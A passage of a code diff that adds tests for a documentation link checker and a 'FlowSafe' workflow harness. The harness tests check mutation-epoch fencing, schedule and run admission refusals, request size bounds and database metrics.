+      'docs/guide.md',
+      'docs/reference.md',
+      'docs/unlinked.md',
+    ]),
+    packageChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => `${error.file}: ${error.message}`),
+    [
+      'docs/unlinked.md: guide is not reachable from a public documentation index',
+    ],
+  );
+});
+
+test('absolute repository links obey the internal-file policy', () => {
+  const root = fixture({
+    'packages/example/README.md': `# Example
+
+[Notes](https://github.com/ProofOfTechOrg/anchorage/blob/main/CLAUDE.md)
+[Plan](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/release-plan.md#target-heading)
+`,
+    'CLAUDE.md': '# Repository navigation\n',
+    'docs/release-plan.md': '# Target heading\n',
+  });
+
+  const result = checkRepository({
+    root,
+    markdownFiles: markdownFiles(root, [
+      'packages/example/README.md',
+      'CLAUDE.md',
+      'docs/release-plan.md',
+    ]),
+    packageChecks: false,
+    orphanChecks: false,
+  });
+
+  assert.deepEqual(
+    result.errors.map((error) => error.message),
+    [
+      'public documentation links to an internal file: https://github.com/ProofOfTechOrg/anchorage/blob/main/CLAUDE.md',
+      'public documentation links to an internal file: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/release-plan.md#target-heading',
+    ],
+  );
+});
+
 test('invalid and unsafe URLs fail before the scheduled network check', () => {
   const root = fixture({
     'README.md': `[Invalid](https://[invalid)
diff --git a/scripts/flowsafe-harness.test.ts b/scripts/flowsafe-harness.test.ts
index 761c870e..e4ef12e3 100644
--- a/scripts/flowsafe-harness.test.ts
+++ b/scripts/flowsafe-harness.test.ts
@@ -85,10 +85,311 @@ function harnessOptions() {
 }
 
 async function result<T>(worker: WorkerHandle, path: string): Promise<T> {
+  const p3 = path.startsWith('/epoch-p3/');
+  if (p3) p3Isolation.reusable = false;
   const response = await worker.fetch(path, { method: 'POST' });
   const body = await response.text();
   expect(response.status, body).toBe(200);
-  return JSON.parse(body) as T;
+  const parsed = JSON.parse(body);
+  if (p3) {
+    expect(parsed.quiescent, path).toBe(true);
+    if (path.startsWith('/epoch-p3/run'))
+      expect(parsed.checkedRun).toEqual({
+        workflowId: 'workflow-schedule',
+        runId: 'p3-run',
+      });
+    recordP3Measurements(path, parsed.metrics);
+    p3Isolation.reusable = true;
+  }
+  return parsed as T;
+}
+
+interface RetentionCursor {
+  version: 1;
+  tablePrefix: string;
+  startIdempotencyTable?: string;
+  snapshots?: { afterRowId: number; highWaterRowId: number };
+  reservations?: { afterRowId: number; highWaterRowId: number };
+}
+
+interface RetentionState {
+  snapshots: Array<{
+    workflow_name: string;
+    run_id: string;
+    snapshot: string;
+    updatedAt: string;
+  }>;
+  keys: Array<Record<string, string | number | null>>;
+  owners: Array<Record<string, string | number | null>>;
+}
+
+interface RetentionMetrics {
+  statements: number;
+  batches: number;
+  maxSqlBytes: number;
+  maxBindings: number;
+  maxBoundStringBytes: number;
+  maxSelectorBytes: number;
+  maxResultBytes: number;
+  rowsRead: number;
+  rowsWritten: number;
+  sqlDurationMs: number;
+}
+
+interface HeldRetentionResult {
+  purged?: number;
+  error?: string;
+  artifacts: number;
+  advances: RetentionCursor[];
+  intervened: RetentionState;
+  after: RetentionState;
+  metrics: RetentionMetrics;
+}
+
+const RETENTION_NOW = Date.parse('2026-08-10T12:00:00.000Z');
+const RETENTION_SCOPE = {
+  version: 1,
+  tablePrefix: 'e_retention_',
+  startIdempotencyTable: 'e_retention_start_requests',
+};
+
+interface P3Response {
+  status: number;
+  body: {
+    reason?: { code: string; classification?: string; mutationEpoch?: number };
+    schedule?: { id: string; status: string };
+    result?: { value: string };
+  };
+}
+
+interface P3Metrics {
+  statements: number;
+  batches: number;
+  maxBatchStatements: number;
+  maxSqlBytes: number;
+  maxBindings: number;
+  maxBoundStringBytes: number;
+  maxResultBytes: number;
+  rowsRead: number;
+  rowsWritten: number;
+}
+
+const p3Measurements = new Map<
+  string,
+  {
+    samples: number;
+    minStatements: number;
+    maxStatementScenario: string;
+    maxima: P3Metrics;
+  }
+>();
+
+const p3Isolation = { entered: false, reusable: false, resets: 0, cleanups: 0 };
+
+function recordP3Measurements(
+  path: string,
+  value: P3Metrics | Record<string, P3Metrics>,
+) {
+  const stages =
+    typeof value.statements === 'number'
+      ? { cas: value as P3Metrics }
+      : (value as Record<string, P3Metrics>);
+  for (const [stage, metrics] of Object.entries(stages)) {
+    const previous = p3Measurements.get(stage);
+    if (!previous) {
+      p3Measurements.set(stage, {
+        samples: 1,
+        minStatements: metrics.statements,
+        maxStatementScenario: path,
+        maxima: { ...metrics },
+      });
+      continue;
+    }
+    previous.samples++;
+    previous.minStatements = Math.min(
+      previous.minStatements,
+      metrics.statements,
+    );
+    if (metrics.statements > previous.maxima.statements)
+      previous.maxStatementScenario = path;
+    for (const key of Object.keys(metrics) as Array<keyof P3Metrics>)
+      previous.maxima[key] = Math.max(previous.maxima[key], metrics[key]);
+  }
+}
+
+interface P3Fence {
+  state: string;
+  mutationEpoch: number;
+  requireMutationEpoch: boolean;
+  transitionRevision: number;
+}
+
+interface P3ScheduleState {
+  schedules: Array<Record<string, unknown>>;
+  triggers: Array<Record<string, unknown>>;
+  owners: Array<Record<string, unknown>>;
+}
+
+interface P3ScheduleResult {
+  operation: string;
+  response: P3Response;
+  gateHits: number;
+  finalBatches: number;
+  before: P3ScheduleState;
+  intervened: P3ScheduleState;
+  after: P3ScheduleState;
+  reads?: { list: P3Response; get: P3Response; history: P3Response };
+  positive?: P3Response;
+  positiveState?: P3ScheduleState;
+  settled?: P3ScheduleState;
+  audit: Array<{ actorId: string; operation: string; outcome: string }>;
+  fenceBeforeRelease: P3Fence;
+  fenceAfter: P3Fence;
+  bodyBytes: number;
+  metrics: Record<string, P3Metrics>;
+}
+
+interface P3RunState {
+  snapshots: Array<Record<string, unknown>>;
+  keys: Array<Record<string, unknown>>;
+  owners: Array<Record<string, unknown>>;
+}
+
+interface P3RunResult {
+  response: P3Response;
+  capturedEpoch: number | null;
+  gateHits: number;
+  initialBatches: number;
+  before: P3RunState;
+  intervened: P3RunState;
+  after: P3RunState;
+  positiveRows: P3RunState;
+  effectsAfterRequest: number;
+  effects: number;
+  cachedAfterRequest: boolean;
+  activeAfterRequest: boolean;
+  positive?: { status: string; result: { value: string } };
+  fenceBeforeRelease: P3Fence;
+  fenceAfter: P3Fence;
+  metrics: Record<string, P3Metrics>;
+}
+
+interface P3StructuralFence {
+  rows: Array<Record<string, unknown>>;
+  schema: Array<Record<string, unknown>>;
+}
+
+interface P3StructuralRunResult extends Omit<P3RunResult, 'fenceAfter'> {
+  fenceAfter?: P3Fence;
+  structural: {
+    fixture: string;
+    proof: boolean;
+    responseLosses: number;
+    initialBatchRows: number[];
+    before: P3StructuralFence;
+    intervened: P3StructuralFence;
+    after: P3StructuralFence;
+  };
+}
+
+function expectP3StructuralRefusal(
+  outcome: P3StructuralRunResult,
+  keyed: boolean,
+  lostResponse = false,
+) {
+  expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+    503,
+  );
+  expect(outcome.response.body.reason).toEqual({
+    code: 'EXECUTION_FENCE_UNREADABLE',
+  });
+  expect(outcome.gateHits).toBe(1);
+  expect(outcome.initialBatches).toBe(1);
+  expect(outcome.capturedEpoch).toBe(2);
+  expect(outcome.effectsAfterRequest).toBe(0);
+  expect(outcome.effects).toBe(0);
+  expect(outcome.activeAfterRequest).toBe(false);
+  expect(outcome.after.snapshots).toEqual([]);
+  expect(outcome.after.owners).toEqual(outcome.before.owners);
+  expect(JSON.stringify(outcome.structural.after)).toBe(
+    JSON.stringify(outcome.structural.intervened),
+  );
+  expect(outcome.structural.initialBatchRows).toEqual(
+    keyed ? [0, 0, 0] : [0, 0],
+  );
+  if (!lostResponse) expect(outcome.cachedAfterRequest).toBe(false);
+  if (keyed) {
+    expect(
+      outcome.after.keys.find((row) => row.key === 'p3-key'),
+    ).toMatchObject({
+      owner_id: 'p3-owner',
+      target_id: 'workflow-schedule',
+      run_id: 'p3-run',
+      state: lostResponse ? 'started' : 'reserved',
+      start_token: '',
+      start_table_prefix: null,
+      start_workflow_id: null,
+    });
+    expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual(
+      outcome.before.keys,
+    );
+  } else expect(outcome.after).toEqual(outcome.before);
+  if (lostResponse) expect(outcome.after).toEqual(outcome.intervened);
+  expectP3Metrics(outcome.metrics);
+}
+
+const P3_OPERATIONS = [
+  'create',
+  'update',
+  'pause',
+  'resume',
+  'delete',
+  'pause-noop',
+  'resume-noop',
+] as const;
+
+function expectP3Metrics(metrics: Record<string, P3Metrics>) {
+  for (const measured of Object.values(metrics)) {
+    expect(measured.statements).toBeLessThanOrEqual(1000);
+    expect(measured.maxSqlBytes).toBeLessThanOrEqual(90_000);
+    expect(measured.maxBindings).toBeLessThanOrEqual(100);
+    expect(measured.maxBoundStringBytes).toBeLessThanOrEqual(2_000_000);
+  }
+}
+
+function expectP3EpochRefusal(
+  response: P3Response,
+  classification: string,
+  epoch: number,
+) {
+  expect(response.status, JSON.stringify(response.body)).toBe(409);
+  expect(response.body.reason).toEqual({
+    code: 'MUTATION_EPOCH_MISMATCH',
+    classification,
+    mutationEpoch: epoch,
+  });
+}
+
+function expectP3Preserved(result: P3ScheduleResult) {
+  expect(JSON.stringify(result.after)).toBe(JSON.stringify(result.intervened));
+  expect(result.fenceAfter).toEqual(result.fenceBeforeRelease);
+  expectP3Metrics(result.metrics);
+}
+
+function expectP3RunRefused(result: P3RunResult) {
+  expect(JSON.stringify(result.after)).toBe(JSON.stringify(result.before));
+  expect(result.effectsAfterRequest).toBe(0);
+  expect(result.cachedAfterRequest).toBe(false);
+  expect(result.activeAfterRequest).toBe(false);
+  expect(result.after.snapshots).toEqual([]);
+  expect(result.positive).toMatchObject({
+    status: 'success',
+    result: { value: 'positive' },
+  });
+  expect(result.effects).toBe(1);
+  expect(result.positiveRows.snapshots).toHaveLength(1);
+  expect(result.fenceAfter).toEqual(result.fenceBeforeRelease);
+  expectP3Metrics(result.metrics);
 }
 
 describe.sequential('FlowSafe Wrangler test harness', () => {
@@ -103,8 +404,43 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
     await server.listen();
   });
 
-  beforeEach(async () => {
+  async function prepareP3() {
+    const reusable = p3Isolation.entered && p3Isolation.reusable;
+    p3Isolation.reusable = false;
+    if (reusable) {
+      probe = server.getWorker('flowsafe-harness-probe');
+      expect(await result(probe, '/p3-cleanup')).toEqual({ remaining: [] });
+      p3Isolation.cleanups++;
+    } else {
+      await server.reset();
+      p3Isolation.resets++;
+    }
+    p3Isolation.entered = true;
+    probe = server.getWorker('flowsafe-harness-probe');
+    await result(probe, '/seed');
+  }
+
+  beforeEach(async ({ task }) => {
+    if (task.name.startsWith('FS8 P3')) {
+      await prepareP3();
+      return;
+    }
+    const leavingP3 = p3Isolation.entered;
+    p3Isolation.entered = false;
+    p3Isolation.reusable = false;
+    if (task.name.startsWith('FS8 E retention')) {
+      if (leavingP3) {
+        await server.reset();
+        p3Isolation.resets++;
+      }
+      // Scenario cleanup preserves the surrounding namespace census across requests.
+      probe = server.getWorker('flowsafe-harness-probe');
+      await result(probe, '/seed');
+      await result(probe, '/retention-e/cleanup');
+      return;
+    }
     await server.reset();
+    if (leavingP3) p3Isolation.resets++;
     spike = server.getWorker('flowsafe-do-runner-demo');
     deploy = server.getWorker('anchorage-flowsafe-replace-me');
     alarmHarness = server.getWorker('flowsafe-maintenance-alarm-harness');
@@ -129,7 +465,706 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
   });
 
   afterAll(async () => {
-    await server.close();
+    try {
+      if (p3Measurements.size)
+        console.info(
+          'FS8 P3 D1 metrics',
+          JSON.stringify(Object.fromEntries(p3Measurements)),
+        );
+      if (p3Isolation.resets)
+        console.info('FS8 P3 fixture isolation', JSON.stringify(p3Isolation));
+    } finally {
+      await server.close();
+    }
+  });
+
+  it.each([
+    'isolation-missing-witness',
+    'unmatched',
+  ])('FS8 P3 resets the fixture after %s and reuses a settled request', async (scenario) => {
+    await expect(result(probe, `/epoch-p3/${scenario}`)).rejects.toThrow();
+    expect(p3Isolation.reusable).toBe(false);
+    const resets = p3Isolation.resets;
+    await prepareP3();
+    expect(p3Isolation.resets).toBe(resets + 1);
+    const first = await result<{ before: P3Fence }>(
+      probe,
+      '/epoch-p3/cas-loss',
+    );
+    expect(first.before).toMatchObject({
+      state: 'open',
+      mutationEpoch: 0,
+      transitionRevision: 0,
+    });
+    const cleanups = p3Isolation.cleanups;
+    await prepareP3();
+    expect(p3Isolation.cleanups).toBe(cleanups + 1);
+    const second = await result<{ before: P3Fence }>(
+      probe,
+      '/epoch-p3/cas-loss',
+    );
+    expect(second.before).toEqual(first.before);
+  });
+
+  it.each(
+    P3_OPERATIONS.flatMap((operation) =>
+      ['auth', 'final'].flatMap((phase) =>
+        ['missing', 'stale'].map((epoch) => ({ operation, phase, epoch })),
+      ),
+    ),
+  )('FS8 P3 holds $operation at $phase across activation with $epoch epoch', async ({
+    operation,
+    phase,
+    epoch,
+  }) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&phase=${phase}&epoch=${epoch}&action=activate`,
+    );
+    expectP3EpochRefusal(outcome.response, epoch, 1);
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.finalBatches).toBeGreaterThanOrEqual(
+      phase === 'final' ? 1 : 0,
+    );
+    expect(outcome.fenceAfter).toMatchObject({
+      state: 'open',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+    });
+    expect(outcome.audit).toMatchObject([
+      { actorId: 'p3-owner', outcome: 'rejected' },
+    ]);
+    expectP3Preserved(outcome);
+  });
+
+  it.each(
+    P3_OPERATIONS.flatMap((operation) =>
+      ['missing', 'stale', 'future', 'current'].map((epoch) => ({
+        operation,
+        epoch,
+      })),
+    ),
+  )('FS8 P3 enforces activated $epoch epoch on HTTP $operation', async ({
+    operation,
+    epoch,
+  }) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&epoch=${epoch}`,
+    );
+    if (epoch !== 'current') {
+      expectP3EpochRefusal(outcome.response, epoch, 2);
+      expectP3Preserved(outcome);
+    } else {
+      expect(
+        outcome.response.status,
+        JSON.stringify(outcome.response.body),
+      ).toBe(operation === 'create' ? 201 : 200);
+      expect(outcome.audit).toMatchObject([
+        { actorId: 'p3-owner', outcome: 'accepted' },
+      ]);
+      if (operation.endsWith('-noop')) expectP3Preserved(outcome);
+      else
+        expect(JSON.stringify(outcome.after)).not.toBe(
+          JSON.stringify(outcome.before),
+        );
+      if (operation === 'create') {
+        expect(outcome.after.schedules).toHaveLength(2);
+        expect(outcome.after.owners).toEqual(
+          expect.arrayContaining([
+            expect.objectContaining({
+              resource_id: outcome.response.body.schedule?.id,
+              owner_id: 'p3-owner',
+            }),
+          ]),
+        );
+      }
+      if (operation === 'delete')
+        expect(outcome.after).toEqual({
+          schedules: [],
+          triggers: [],
+          owners: [],
+        });
+    }
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it.each(
+    P3_OPERATIONS,
+  )('FS8 P3 preserves draining policy for exact HTTP %s', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&closed=true`,
+    );
+    expect(outcome.reads?.list.status).toBe(200);
+    expect(outcome.reads?.get.status).toBe(operation === 'delete' ? 404 : 200);
+    expect(outcome.reads?.history.status).toBe(
+      operation === 'delete' ? 404 : 200,
+    );
+    if (
+      operation === 'pause' ||
+      operation === 'pause-noop' ||
+      operation === 'delete'
+    ) {
+      expect(
+        outcome.response.status,
+        JSON.stringify(outcome.response.body),
+      ).toBe(200);
+    } else {
+      expect(outcome.response.status).toBe(503);
+      expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED');
+      expectP3Preserved(outcome);
+    }
+  });
+
+  it.each(
+    P3_OPERATIONS,
+  )('FS8 P3 admits exact %s through the final gate without a transition', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&phase=final`,
+    );
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.finalBatches).toBe(1);
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      operation === 'create' ? 201 : 200,
+    );
+    if (operation.endsWith('-noop')) expectP3Preserved(outcome);
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it.each(
+    P3_OPERATIONS,
+  )('FS8 P3 refuses exact %s after a same-epoch final-frame cycle', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&phase=final&action=cycle`,
+    );
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.response.status).toBe(409);
+    expect(outcome.response.body.reason).toEqual({
+      code: 'SCHEDULE_MUTATION_CONFLICT',
+      classification: 'fence-changed',
+    });
+    expectP3Preserved(outcome);
+  });
+
+  it.each(
+    P3_OPERATIONS,
+  )('FS8 P3 refuses formerly exact %s after the next artifact activates', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&phase=final&action=advance`,
+    );
+    expectP3EpochRefusal(outcome.response, 'stale', 3);
+    expect(outcome.gateHits).toBe(1);
+    expectP3Preserved(outcome);
+  });
+
+  it.each([
+    'create',
+    'pause',
+    'resume-noop',
+  ])('FS8 P3 keeps the original missing actor epoch while %s waits', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&phase=auth&epoch=missing&action=capture`,
+    );
+    expectP3EpochRefusal(outcome.response, 'missing', 2);
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.audit).toMatchObject([
+      { actorId: 'p3-owner', outcome: 'rejected' },
+    ]);
+    expectP3Preserved(outcome);
+  });
+
+  it('FS8 P3 keeps a captured current actor while the resolver result changes', async () => {
+    const captured = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=create&phase=auth&action=capture',
+    );
+    expect(
+      captured.response.status,
+      JSON.stringify(captured.response.body),
+    ).toBe(201);
+    expect(captured.audit).toMatchObject([
+      { actorId: 'p3-owner', outcome: 'accepted' },
+    ]);
+    expect(captured.after.owners).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          resource_id: captured.response.body.schedule?.id,
+          owner_id: 'p3-owner',
+        }),
+      ]),
+    );
+  });
+
+  it.each(
+    P3_OPERATIONS,
+  )('FS8 P3 refuses an invalid trusted epoch on %s', async (operation) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=${operation}&epoch=invalid`,
+    );
+    expect(outcome.response.status).toBe(400);
+    expect(outcome.response.body.reason?.code).toBe('INVALID_MUTATION_EPOCH');
+    expectP3Preserved(outcome);
+  });
+
+  it.each([
+    'body',
+    'header',
+    'stored',
+  ])('FS8 P3 does not obtain schedule authority from %s input', async (injection) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=create&epoch=missing&injection=${injection}`,
+    );
+    if (injection === 'stored')
+      expectP3EpochRefusal(outcome.response, 'missing', 2);
+    else
+      expect(outcome.response.status).toBe(injection === 'header' ? 403 : 400);
+    expectP3Preserved(outcome);
+  });
+
+  it.each([
+    16384, 16385,
+  ])('FS8 P3 applies the HTTP UTF-8 body bound at %i bytes', async (bytes) => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      `/epoch-p3/schedule?operation=create&bytes=${bytes}`,
+    );
+    expect(outcome.bodyBytes).toBe(bytes);
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      bytes === 16384 ? 201 : 413,
+    );
+    if (bytes > 16384) {
+      expect(outcome.finalBatches).toBe(0);
+      expectP3Preserved(outcome);
+    }
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 does not grant draining authoring through a paused PATCH', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=update&closed=true&patchPaused=true',
+    );
+    expect(outcome.response.status).toBe(503);
+    expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED');
+    expectP3Preserved(outcome);
+  });
+
+  it('FS8 P3 distinguishes a current cap refusal from epoch refusal', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=create&cap=true',
+    );
+    expect(outcome.response.status).toBe(400);
+    expect(outcome.audit).toMatchObject([{ outcome: 'rejected' }]);
+    expectP3Preserved(outcome);
+  });
+
+  it('FS8 P3 rejects a held resume after its cron configuration changes', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=resume&phase=final&action=resume-race',
+    );
+    expect(outcome.response.status).toBe(409);
+    expect(outcome.response.body.reason).toEqual({
+      code: 'SCHEDULE_MUTATION_CONFLICT',
+      classification: 'schedule-changed',
+    });
+    expect(outcome.intervened.schedules[0]).toMatchObject({
+      cron: '*/5 * * * *',
+      timezone: 'UTC',
+      status: 'paused',
+    });
+    expectP3Preserved(outcome);
+    expect(outcome.positive?.status).toBe(200);
+    expect(outcome.positiveState?.schedules[0]).toMatchObject({
+      cron: '*/5 * * * *',
+      timezone: 'UTC',
+      status: 'active',
+    });
+  });
+
+  it('FS8 P3 preserves a held deferred deletion and its raw history across activation', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=delete&phase=final&epoch=missing&action=activate&deferred=true',
+    );
+    expectP3EpochRefusal(outcome.response, 'missing', 1);
+    expect(outcome.after.schedules[0]?.deletionRequestedAt).toBeNull();
+    expect(outcome.after.triggers[0]?.outcome).toBe('deferred');
+    expect(outcome.after.owners).toHaveLength(1);
+    expectP3Preserved(outcome);
+  });
+
+  it('FS8 P3 settles an admitted deferred deletion after another epoch closes', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=delete&closed=true&deferred=true',
+    );
+    expect(outcome.response.status).toBe(202);
+    expect(outcome.after.schedules[0]).toMatchObject({
+      status: 'paused',
+      deletionRequestedAt: expect.any(Number),
+    });
+    expect(outcome.after.owners).toHaveLength(1);
+    expect(outcome.settled).toEqual({
+      schedules: [],
+      triggers: [],
+      owners: [],
+    });
+    expect(outcome.fenceAfter).toMatchObject({
+      state: 'draining',
+      mutationEpoch: 3,
+      requireMutationEpoch: true,
+    });
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 deletes populated trigger history with a bounded mutation result', async () => {
+    const outcome = await result<P3ScheduleResult>(
+      probe,
+      '/epoch-p3/schedule?operation=delete&history=true',
+    );
+    expect(outcome.before.triggers).toHaveLength(120);
+    expect(outcome.response.status).toBe(200);
+    expect(outcome.after).toEqual({ schedules: [], triggers: [], owners: [] });
+    expect(outcome.metrics.mutation?.maxResultBytes).toBeLessThan(10_000);
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it.each(
+    ['auth', 'final'].flatMap((phase) =>
+      ['missing', 'stale'].map((epoch) => ({ phase, epoch })),
+    ),
+  )('FS8 P3 holds real Runtime at $phase across activation with $epoch epoch', async ({
+    phase,
+    epoch,
+  }) => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      `/epoch-p3/run?phase=${phase}&epoch=${epoch}&action=activate`,
+    );
+    expectP3EpochRefusal(outcome.response, epoch, 1);
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.initialBatches).toBe(phase === 'final' ? 1 : 0);
+    expect(outcome.capturedEpoch).toBe(epoch === 'missing' ? null : 0);
+    expectP3RunRefused(outcome);
+  });
+
+  it.each([
+    'missing',
+    'stale',
+    'future',
+    'current',
+    'invalid',
+  ])('FS8 P3 checks %s epoch through real Runtime and D1', async (epoch) => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      `/epoch-p3/run?epoch=${epoch}`,
+    );
+    if (epoch === 'current') {
+      expect(
+        outcome.response.status,
+        JSON.stringify(outcome.response.body),
+      ).toBe(200);
+      expect(outcome.response.body.result).toEqual({ value: 'original' });
+      expect(outcome.effectsAfterRequest).toBe(1);
+      expect(outcome.after.snapshots).toHaveLength(1);
+    } else if (epoch === 'invalid') {
+      expect(outcome.response.status).toBe(400);
+      expect(outcome.response.body.reason?.code).toBe('INVALID_MUTATION_EPOCH');
+      expect(outcome.effects).toBe(0);
+      expect(outcome.after).toEqual(outcome.before);
+    } else {
+      expectP3EpochRefusal(outcome.response, epoch, 2);
+      expectP3RunRefused(outcome);
+    }
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it.each([
+    'auth',
+    'final',
+    'provider',
+  ])('FS8 P3 executes the current Runtime through its %s gate', async (phase) => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      `/epoch-p3/run?phase=${phase}`,
+    );
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      200,
+    );
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.initialBatches).toBe(1);
+    expect(outcome.effectsAfterRequest).toBe(1);
+    expect(outcome.response.body.result).toEqual({ value: 'original' });
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 prevents engine entry after a same-epoch final-frame cycle', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?phase=final&action=cycle',
+    );
+    expect(outcome.response.status).toBe(409);
+    expect(outcome.response.body.reason).toEqual({
+      code: 'RUN_ADMISSION_CONFLICT',
+      classification: 'fence-changed',
+    });
+    expectP3RunRefused(outcome);
+  });
+
+  it.each(
+    ['schema-extension', 'null-singleton'].flatMap((structure) =>
+      [false, true].map((proof) => ({ structure, proof })),
+    ),
+  )('FS8 P3 structural Runtime refuses $structure at final D1 with proof $proof', async ({
+    structure,
+    proof,
+  }) => {
+    const outcome = await result<P3StructuralRunResult>(
+      probe,
+      `/epoch-p3/run?phase=final&structure=${structure}&proof=${proof}`,
+    );
+    expectP3StructuralRefusal(outcome, proof);
+    const prior = outcome.structural.before;
+    const changed = outcome.structural.intervened;
+    if (structure === 'schema-extension') {
+      expect(changed.schema).toHaveLength(prior.schema.length + 1);
+      expect(changed.schema.at(-1)).toMatchObject({
+        name: 'p3_shape',
+        type: 'TEXT',
+      });
+      expect(changed.rows).toHaveLength(1);
+    } else {
+      expect(changed.schema).toEqual(prior.schema);
+      expect(
+        changed.schema.find((column) => column.name === 'id'),
+      ).toMatchObject({ type: 'TEXT', notnull: 0, pk: 1 });
+      expect(changed.rows).toHaveLength(2);
+      expect(changed.rows.filter((row) => row.id === null)).toHaveLength(1);
+    }
+    const deployment = changed.rows.find((row) => row.id === 'deployment');
+    expect(deployment).toMatchObject({
+      mutation_epoch: 2,
+      require_mutation_epoch: 1,
+      proof_run_id: null,
+      proof_start_token: null,
+    });
+    expect(outcome.structural.responseLosses).toBe(0);
+  });
+
+  it('FS8 P3 structural Runtime keeps refused batch participants unchanged after response loss', async () => {
+    const outcome = await result<P3StructuralRunResult>(
+      probe,
+      '/epoch-p3/run?phase=final&structure=schema-extension&keyed=true&loss=true',
+    );
+    expectP3StructuralRefusal(outcome, true, true);
+    expect(outcome.structural.responseLosses).toBe(1);
+  });
+
+  it.each([
+    { proof: false, loss: false, afterAdmission: 'none' },
+    { proof: true, loss: false, afterAdmission: 'none' },
+    { proof: false, loss: true, afterAdmission: 'advance' },
+    { proof: true, loss: true, afterAdmission: 'none' },
+    { proof: true, loss: false, afterAdmission: 'advance' },
+  ])('FS8 P3 structural Runtime admits valid current proof $proof loss $loss after $afterAdmission', async ({
+    proof,
+    loss,
+    afterAdmission,
+  }) => {
+    const outcome = await result<P3StructuralRunResult>(
+      probe,
+      `/epoch-p3/run?phase=final&structure=none&proof=${proof}&loss=${loss}&afterAdmission=${afterAdmission}`,
+    );
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      200,
+    );
+    expect(outcome.response.body.result).toEqual({ value: 'original' });
+    expect(outcome.gateHits).toBe(1);
+    expect(outcome.initialBatches).toBe(1);
+    expect(outcome.capturedEpoch).toBe(2);
+    expect(outcome.effectsAfterRequest).toBe(1);
+    expect(outcome.effects).toBe(1);
+    expect(outcome.activeAfterRequest).toBe(false);
+    expect(outcome.after.snapshots).toHaveLength(1);
+    expect(outcome.structural.initialBatchRows).toEqual(
+      proof ? [1, 1, 1] : [1, 0],
+    );
+    expect(outcome.structural.responseLosses).toBe(loss ? 1 : 0);
+    const snapshot = JSON.parse(String(outcome.after.snapshots[0]?.snapshot));
+    const provenance = snapshot.requestContext['flowsafe.runProvenance'];
+    expect(provenance).toMatchObject({
+      mutationEpoch: 2,
+      requestedBy: 'p3-owner',
+      startToken: expect.any(String),
+    });
+    if (proof) {
+      expect(
+        outcome.after.keys.find((row) => row.key === 'p3-key'),
+      ).toMatchObject({
+        state: 'terminal',
+        start_token: provenance.startToken,
+        start_table_prefix: 'p3_',
+        start_workflow_id: 'workflow-schedule',
+      });
+      expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual(
+        outcome.before.keys,
+      );
+    } else expect(outcome.after.keys).toEqual(outcome.before.keys);
+    expect(outcome.after.owners).toEqual(outcome.before.owners);
+    if (afterAdmission === 'advance') {
+      expect(outcome.fenceAfter).toMatchObject({
+        state: 'open',
+        mutationEpoch: 3,
+        requireMutationEpoch: true,
+      });
+    } else {
+      expect(outcome.fenceAfter).toMatchObject({
+        state: proof ? 'proof-only' : 'open',
+        mutationEpoch: 2,
+        requireMutationEpoch: true,
+      });
+      if (proof)
+        expect(outcome.structural.after.rows[0]).toMatchObject({
+          proof_run_id: 'p3-run',
+          proof_start_token: provenance.startToken,
+          proof_table_prefix: 'p3_',
+          proof_workflow_id: 'workflow-schedule',
